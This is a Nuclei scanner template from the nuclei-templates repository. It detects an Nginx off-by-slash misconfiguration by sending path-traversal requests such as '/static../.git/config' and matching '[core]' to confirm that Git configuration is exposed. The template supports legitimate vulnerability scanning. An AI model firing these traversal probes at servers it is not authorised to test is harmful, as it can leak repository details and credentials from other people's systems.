nuclei-templates/exposures/configs/git-config-nginxoffbyslash....

29 lines
896 B
YAML
Raw Normal View History

2020-07-02 13:53:41 +00:00
id: git-config-nginxoffbyslash
info:
name: Nginx off-by-slash exposes Git config
2020-07-02 13:53:41 +00:00
author: organiccrap
severity: medium
description: Nginx off-by-slash vulnerability exposes Git configuration.
2020-09-20 12:57:43 +00:00
# https://twitter.com/Random_Robbie/status/1262676628167110656
2020-07-02 13:53:41 +00:00
requests:
- method: GET
path:
- '{{BaseURL}}/static../.git/config'
- '{{BaseURL}}/js../.git/config'
- '{{BaseURL}}/images../.git/config'
- '{{BaseURL}}/img../.git/config'
- '{{BaseURL}}/css../.git/config'
- '{{BaseURL}}/assets../.git/config'
- '{{BaseURL}}/content../.git/config'
- '{{BaseURL}}/events../.git/config'
- '{{BaseURL}}/media../.git/config'
- '{{BaseURL}}/lib../.git/config'
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers:
- type: word
words:
- '[core]'